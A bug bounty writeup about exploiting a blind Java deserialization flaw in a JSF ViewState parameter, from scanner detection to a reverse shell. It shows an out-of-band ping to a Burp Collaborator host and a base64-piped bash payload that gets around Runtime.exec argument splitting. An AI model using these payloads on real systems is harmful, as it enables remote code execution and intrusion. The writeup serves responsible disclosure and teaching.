An Intresting Insecure Deserialization
Hey hunters! This writeup is in reference to the exploitation of my first Insecure Deserialization vulnerability on a private program’s live website. I’ll share how I converted a Blind Insecure Deserialization into the reverse shell. So, Let’s get started.
Till now I have only read about Java Insecure Deserialization and how Java uses the “objectinputstream” and “fileoutputstream” to serialize an object to transfer the data over a network.
I started looking for some vulnerable applications that have a responsible disclosure program. Luckily I found an application that was built using Java(indicated by Wappalyzer) and proceeding further I found requests having javax.faces.ViewState parameter which cleared that the application uses Java Server Faces.
<input type=”hidden” name=”javax.faces.ViewState” id=” javax.faces.ViewState”” value=”H4sIAAAA*” autocomplete=”off” />
The value for the parameter was having a magic number string with "H4sIAAAA" and as known, this is a combination of gzip and base64 encodings. The parameter was easily decoded to plain text and with the first look, I could see that it was using some Apache.library keywords.
It's time to get Burp’s Deserialization Scanner Extension in some action. I marked the serialized parameter and started the Attack base64 gzip, within a minute I got the results with an indication of ApacheCommonsCollections6 Library. At this time I send multiple serialized payloads to the server but it responded with the same static error. Most of the OS commands didn't work and the only good thing was, it executed the Sleep and Ping command behind the scenes.
After researching on out of band OS command injection methods I came across a portswigger article that demonstrated burp collaborator for blind command injection.
“ping OScommand.subdomain.burpcollaborator.net”
The Collaborator server received a DNS lookup of type A for the domain name
pulseuser.lla6f3r2w9bg9lfc3cruu6bax13rrg.burpcollaborator.net
The above command helped me to bag some more working OS commands like id and whoami that helped to identify that the user executing payload was a low privileged user. But that was not the only hurdle, the exec() function of Java which executes the OS commands uses some default classes to break the OS command arguments and in such cases, it prevents the execution of web-shells or deserialization exploits.
After checking some articles to bypass this I came across an article with a clever technique to encode and decode payloads using pipes (|) which can be used to trick the exec() function default classes.
My Payload for "ping domain.com" looked like
"bash -c {echo,cGluZyBkb21haW4uY29t}|{base64,-d}|{bash,-i}"
I used the technique with working ping commands and crafted a reverse shell payload and this time the server returned with a reverse connection.
I quickly summarized the report and after 2days the Vulnerability was patched with a Thank you note from Vendor.
For any queries hit me up on Linkedin: https://www.linkedin.com/in/mohit-verma-335b1b119
Reference:
https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band
http://www.jackson-t.ca/runtime-exec-payloads.html
